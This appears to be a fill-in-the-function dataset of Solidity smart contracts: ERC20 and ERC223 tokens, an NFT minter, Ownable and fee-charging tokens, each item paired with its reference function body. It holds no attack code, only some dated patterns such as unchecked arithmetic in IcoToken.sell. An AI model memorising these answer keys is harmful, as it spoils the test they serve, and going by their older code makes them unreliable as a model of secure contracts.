contract ETC is StandardToken, Ownable { // Constants string public constant name = "EthCoin"; string public constant symbol = "ETC"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals)); uint public amountRaised; uint256 public buyPrice = 50000; bool public crowdsaleClosed; <FILL_FUNCTION> function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient Transfer(_from, _to, _value); } function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public { crowdsaleClosed = closebuy; buyPrice = newBuyPrice; } function () external payable { require(!crowdsaleClosed); uint amount = msg.value ; // calculates the amount amountRaised = amountRaised.add(amount); _transfer(owner, msg.sender, amount.mul(buyPrice)); } //取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); return true; } }
totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY);
function ETC() public
function ETC() public
49740
StandardToken
decreaseApproval
contract StandardToken is ERC20, ERC223, Ownable { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } function transfer(address _to, uint _value, bytes _data) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } }
contract StandardToken is ERC20, ERC223, Ownable { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> function transfer(address _to, uint _value, bytes _data) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
3866
ALDToken
setMinter
contract ALDToken is ERC20("Aladdin Token", "ALD") { address public governance; mapping (address => bool) public isMinter; constructor () public { governance = msg.sender; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setMinter(address _minter, bool _status) external {<FILL_FUNCTION_BODY> } /// @notice Creates `_amount` token to `_to`. Must only be called by minter function mint(address _to, uint256 _amount) external { require(isMinter[msg.sender] == true, "!minter"); _mint(_to, _amount); } /// @notice Burn `_amount` token from `_from`. Must only be called by governance function burn(address _from, uint256 _amount) external { require(msg.sender == governance, "!governance"); _burn(_from, _amount); } }
contract ALDToken is ERC20("Aladdin Token", "ALD") { address public governance; mapping (address => bool) public isMinter; constructor () public { governance = msg.sender; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } <FILL_FUNCTION> /// @notice Creates `_amount` token to `_to`. Must only be called by minter function mint(address _to, uint256 _amount) external { require(isMinter[msg.sender] == true, "!minter"); _mint(_to, _amount); } /// @notice Burn `_amount` token from `_from`. Must only be called by governance function burn(address _from, uint256 _amount) external { require(msg.sender == governance, "!governance"); _burn(_from, _amount); } }
require(msg.sender == governance, "!governance"); isMinter[_minter] = _status;
function setMinter(address _minter, bool _status) external
function setMinter(address _minter, bool _status) external
62668
YOUSHOULDMINT
supportsInterface
contract YOUSHOULDMINT is ERC721, ERC721Enumerable, ERC721Pausable, Ownable { using SafeMath for uint256; uint256 public constant MAX_EARLY = 8888; uint256 public Start_id = 1; uint256 public constant PRICE = 0.08 ether; string public baseTokenURI = "ur_early://"; event CreateEARLY(uint256 indexed id); constructor() ERC721( "LOOKS LIKE UR EARLY", "EARLY" ) {} function YOU_SHOULD_CALL_THIS_MINT_FUNCTION_(uint256 count) public payable { uint256 currentTotal = totalSupply(); require(count > 0, "Count must be greater than 0"); require(currentTotal.add(count) <= MAX_EARLY, "Requested amount exceeds what is available!"); require(currentTotal <= MAX_EARLY, "Not enough earlys available."); require(msg.value >= PRICE.mul(count), "Incorrect price."); for (uint i = 0; i < count; i++) { uint id = Start_id; _safeMint(msg.sender, id); emit CreateEARLY(id); Start_id++; } } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token'); return baseTokenURI; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function withdrawAll() public payable onlyOwner { _widthdraw(owner(), address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Recovery failed."); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {<FILL_FUNCTION_BODY> } }
contract YOUSHOULDMINT is ERC721, ERC721Enumerable, ERC721Pausable, Ownable { using SafeMath for uint256; uint256 public constant MAX_EARLY = 8888; uint256 public Start_id = 1; uint256 public constant PRICE = 0.08 ether; string public baseTokenURI = "ur_early://"; event CreateEARLY(uint256 indexed id); constructor() ERC721( "LOOKS LIKE UR EARLY", "EARLY" ) {} function YOU_SHOULD_CALL_THIS_MINT_FUNCTION_(uint256 count) public payable { uint256 currentTotal = totalSupply(); require(count > 0, "Count must be greater than 0"); require(currentTotal.add(count) <= MAX_EARLY, "Requested amount exceeds what is available!"); require(currentTotal <= MAX_EARLY, "Not enough earlys available."); require(msg.value >= PRICE.mul(count), "Incorrect price."); for (uint i = 0; i < count; i++) { uint id = Start_id; _safeMint(msg.sender, id); emit CreateEARLY(id); Start_id++; } } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token'); return baseTokenURI; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function withdrawAll() public payable onlyOwner { _widthdraw(owner(), address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Recovery failed."); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } <FILL_FUNCTION> }
return super.supportsInterface(interfaceId);
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool)
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool)
18938
Ownable
transferOwnership
contract Ownable { // Owner's address address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } event OwnerChanged(address indexed previousOwner,address indexed newOwner); }
contract Ownable { // Owner's address address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> event OwnerChanged(address indexed previousOwner,address indexed newOwner); }
require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner;
function transferOwnership(address _newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner
22301
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= accounts[_from].balances); require(_value <= allowed[_from][msg.sender]); accounts[_from].balances = accounts[_from].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= accounts[_from].balances); require(_value <= allowed[_from][msg.sender]); accounts[_from].balances = accounts[_from].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success)
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success)
45468
KTuneCustomERC20
burn
contract KTuneCustomERC20 is KTuneCustomToken, DetailedERC20, MintableToken, BurnableToken { using SafeMath for uint256; event LogKTuneCustomERC20Created( address indexed caller, string indexed name, string indexed symbol, uint8 decimals, uint256 transferableFromBlock, uint256 lockEndBlock, address pricingPlan, address serviceProvider ); event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); event LogInformationChanged(address indexed caller, string name, string symbol); event LogTransferFeePaymentFinished(address indexed caller); event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); // Flag indicating if minting fees are enabled or disabled bool public mintingFeeEnabled; // Block number from which tokens are initially transferable uint256 public transferableFromBlock; // Block number from which initial lock ends uint256 public lockEndBlock; // The initially locked balances by address mapping (address => uint256) public initiallyLockedBalanceOf; // The fee percentage for Custom Token transfer or zero if transfer is free of charge uint256 public transferFeePercentage; // Flag indicating if fee payment in Custom Token transfer has been permanently finished or not. bool public transferFeePaymentFinished; bytes32 public constant BURN_SERVICE_NAME = "KTuneCustomERC20.burn"; bytes32 public constant MINT_SERVICE_NAME = "KTuneCustomERC20.mint"; modifier canTransfer(address _from, uint _value) { require(block.number >= transferableFromBlock, "token not transferable"); if (block.number < lockEndBlock) { uint256 locked = lockedBalanceOf(_from); if (locked > 0) { uint256 newBalance = balanceOf(_from).sub(_value); require(newBalance >= locked, "_value exceeds locked amount"); } } _; } constructor( string _name, string _symbol, uint8 _decimals, uint256 _transferableFromBlock, uint256 _lockEndBlock, address _pricingPlan, address _serviceProvider ) KTuneCustomToken(_pricingPlan, _serviceProvider) DetailedERC20(_name, _symbol, _decimals) public { require(bytes(_name).length > 0, "_name is empty"); require(bytes(_symbol).length > 0, "_symbol is empty"); require(_lockEndBlock >= _transferableFromBlock, "_lockEndBlock lower than _transferableFromBlock"); transferableFromBlock = _transferableFromBlock; lockEndBlock = _lockEndBlock; mintingFeeEnabled = true; emit LogKTuneCustomERC20Created( msg.sender, _name, _symbol, _decimals, _transferableFromBlock, _lockEndBlock, _pricingPlan, _serviceProvider ); } function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { require(_mintingFeeEnabled != mintingFeeEnabled, "_mintingFeeEnabled == mintingFeeEnabled"); mintingFeeEnabled = _mintingFeeEnabled; emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); return true; } /** * @dev Change the Custom Token detailed information after creation. * @param _name The name to assign to the Custom Token. * @param _symbol The symbol to assign to the Custom Token. */ function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { require(bytes(_name).length > 0, "_name is empty"); require(bytes(_symbol).length > 0, "_symbol is empty"); name = _name; symbol = _symbol; emit LogInformationChanged(msg.sender, _name, _symbol); return true; } /** * @dev Stop trasfer fee payment for tokens. * @return true if the operation was successful. */ function finishTransferFeePayment() public onlyOwner returns(bool finished) { require(!transferFeePaymentFinished, "transfer fee finished"); transferFeePaymentFinished = true; emit LogTransferFeePaymentFinished(msg.sender); return true; } /** * @dev Change the transfer fee percentage to be paid in Custom tokens. * @param _transferFeePercentage The fee percentage to be paid for transfer in range [0, 100]. */ function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, "_transferFeePercentage not in [0, 100]"); require(_transferFeePercentage != transferFeePercentage, "_transferFeePercentage equal to current value"); transferFeePercentage = _transferFeePercentage; emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); } function lockedBalanceOf(address _to) public constant returns(uint256 locked) { uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; if (block.number >= lockEndBlock) return 0; else if (block.number <= transferableFromBlock) return initiallyLocked; uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); return initiallyLocked.sub(released); } /** * @dev Get the fee to be paid for the transfer of KTune tokens. * @param _value The amount of KTune tokens to be transferred. */ function transferFee(uint256 _value) public view returns(uint256 usageFee) { return _value.mul(transferFeePercentage).div(100); } /** * @dev Check if token transfer is free of any charge or not. * @return true if transfer is free of any charge. */ function freeTransfer() public view returns (bool isTransferFree) { return transferFeePaymentFinished || transferFeePercentage == 0; } /** * @dev Override #transfer for optionally paying fee to Custom token owner. */ function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transfer(_to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transfer(owner, usageFee); bool netValueTransferred = super.transfer(_to, netValue); return feeTransferred && netValueTransferred; } } /** * @dev Override #transferFrom for optionally paying fee to Custom token owner. */ function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transferFrom(_from, _to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transferFrom(_from, owner, usageFee); bool netValueTransferred = super.transferFrom(_from, _to, netValue); return feeTransferred && netValueTransferred; } } /** * @dev Burn a specific amount of tokens, paying the service fee. * @param _amount The amount of token to be burned. */ function burn(uint256 _amount) public canBurn {<FILL_FUNCTION_BODY> } /** * @dev Mint a specific amount of tokens, paying the service fee. * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { require(_to != 0, "_to is zero"); require(_amount > 0, "_amount is zero"); super.mint(_to, _amount); if (mintingFeeEnabled) { require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), "mint fee failed"); } return true; } /** * @dev Mint new locked tokens, which will unlock progressively. * @param _to The address that will receieve the minted locked tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); return mint(_to, _amount); } }
contract KTuneCustomERC20 is KTuneCustomToken, DetailedERC20, MintableToken, BurnableToken { using SafeMath for uint256; event LogKTuneCustomERC20Created( address indexed caller, string indexed name, string indexed symbol, uint8 decimals, uint256 transferableFromBlock, uint256 lockEndBlock, address pricingPlan, address serviceProvider ); event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); event LogInformationChanged(address indexed caller, string name, string symbol); event LogTransferFeePaymentFinished(address indexed caller); event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); // Flag indicating if minting fees are enabled or disabled bool public mintingFeeEnabled; // Block number from which tokens are initially transferable uint256 public transferableFromBlock; // Block number from which initial lock ends uint256 public lockEndBlock; // The initially locked balances by address mapping (address => uint256) public initiallyLockedBalanceOf; // The fee percentage for Custom Token transfer or zero if transfer is free of charge uint256 public transferFeePercentage; // Flag indicating if fee payment in Custom Token transfer has been permanently finished or not. bool public transferFeePaymentFinished; bytes32 public constant BURN_SERVICE_NAME = "KTuneCustomERC20.burn"; bytes32 public constant MINT_SERVICE_NAME = "KTuneCustomERC20.mint"; modifier canTransfer(address _from, uint _value) { require(block.number >= transferableFromBlock, "token not transferable"); if (block.number < lockEndBlock) { uint256 locked = lockedBalanceOf(_from); if (locked > 0) { uint256 newBalance = balanceOf(_from).sub(_value); require(newBalance >= locked, "_value exceeds locked amount"); } } _; } constructor( string _name, string _symbol, uint8 _decimals, uint256 _transferableFromBlock, uint256 _lockEndBlock, address _pricingPlan, address _serviceProvider ) KTuneCustomToken(_pricingPlan, _serviceProvider) DetailedERC20(_name, _symbol, _decimals) public { require(bytes(_name).length > 0, "_name is empty"); require(bytes(_symbol).length > 0, "_symbol is empty"); require(_lockEndBlock >= _transferableFromBlock, "_lockEndBlock lower than _transferableFromBlock"); transferableFromBlock = _transferableFromBlock; lockEndBlock = _lockEndBlock; mintingFeeEnabled = true; emit LogKTuneCustomERC20Created( msg.sender, _name, _symbol, _decimals, _transferableFromBlock, _lockEndBlock, _pricingPlan, _serviceProvider ); } function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { require(_mintingFeeEnabled != mintingFeeEnabled, "_mintingFeeEnabled == mintingFeeEnabled"); mintingFeeEnabled = _mintingFeeEnabled; emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); return true; } /** * @dev Change the Custom Token detailed information after creation. * @param _name The name to assign to the Custom Token. * @param _symbol The symbol to assign to the Custom Token. */ function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { require(bytes(_name).length > 0, "_name is empty"); require(bytes(_symbol).length > 0, "_symbol is empty"); name = _name; symbol = _symbol; emit LogInformationChanged(msg.sender, _name, _symbol); return true; } /** * @dev Stop trasfer fee payment for tokens. * @return true if the operation was successful. */ function finishTransferFeePayment() public onlyOwner returns(bool finished) { require(!transferFeePaymentFinished, "transfer fee finished"); transferFeePaymentFinished = true; emit LogTransferFeePaymentFinished(msg.sender); return true; } /** * @dev Change the transfer fee percentage to be paid in Custom tokens. * @param _transferFeePercentage The fee percentage to be paid for transfer in range [0, 100]. */ function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, "_transferFeePercentage not in [0, 100]"); require(_transferFeePercentage != transferFeePercentage, "_transferFeePercentage equal to current value"); transferFeePercentage = _transferFeePercentage; emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); } function lockedBalanceOf(address _to) public constant returns(uint256 locked) { uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; if (block.number >= lockEndBlock) return 0; else if (block.number <= transferableFromBlock) return initiallyLocked; uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); return initiallyLocked.sub(released); } /** * @dev Get the fee to be paid for the transfer of KTune tokens. * @param _value The amount of KTune tokens to be transferred. */ function transferFee(uint256 _value) public view returns(uint256 usageFee) { return _value.mul(transferFeePercentage).div(100); } /** * @dev Check if token transfer is free of any charge or not. * @return true if transfer is free of any charge. */ function freeTransfer() public view returns (bool isTransferFree) { return transferFeePaymentFinished || transferFeePercentage == 0; } /** * @dev Override #transfer for optionally paying fee to Custom token owner. */ function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transfer(_to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transfer(owner, usageFee); bool netValueTransferred = super.transfer(_to, netValue); return feeTransferred && netValueTransferred; } } /** * @dev Override #transferFrom for optionally paying fee to Custom token owner. */ function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transferFrom(_from, _to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transferFrom(_from, owner, usageFee); bool netValueTransferred = super.transferFrom(_from, _to, netValue); return feeTransferred && netValueTransferred; } } <FILL_FUNCTION> /** * @dev Mint a specific amount of tokens, paying the service fee. * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { require(_to != 0, "_to is zero"); require(_amount > 0, "_amount is zero"); super.mint(_to, _amount); if (mintingFeeEnabled) { require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), "mint fee failed"); } return true; } /** * @dev Mint new locked tokens, which will unlock progressively. * @param _to The address that will receieve the minted locked tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); return mint(_to, _amount); } }
require(_amount > 0, "_amount is zero"); super.burn(_amount); require(pricingPlan.payFee(BURN_SERVICE_NAME, _amount, msg.sender), "burn fee failed");
function burn(uint256 _amount) public canBurn
/** * @dev Burn a specific amount of tokens, paying the service fee. * @param _amount The amount of token to be burned. */ function burn(uint256 _amount) public canBurn
52630
IcoToken
transfer
contract IcoToken is SafeMath, StandardToken, Pausable { string public name; string public symbol; uint256 public decimals; string public version; address public icoContract; constructor( string _name, string _symbol, uint256 _decimals, string _version ) public { name = _name; symbol = _symbol; decimals = _decimals; version = _version; } function transfer(address _to, uint _value) public whenNotPaused returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint _value) public whenNotPaused returns (bool success) { return super.approve(_spender,_value); } function balanceOf(address _owner) public constant returns (uint balance) { return super.balanceOf(_owner); } function setIcoContract(address _icoContract) public onlyOwner { if (_icoContract != address(0)) { icoContract = _icoContract; } } function sell(address _recipient, uint256 _value) public whenNotPaused returns (bool success) { assert(_value > 0); require(msg.sender == icoContract); balances[_recipient] += _value; totalSupply += _value; emit Transfer(0x0, owner, _value); emit Transfer(owner, _recipient, _value); return true; } }
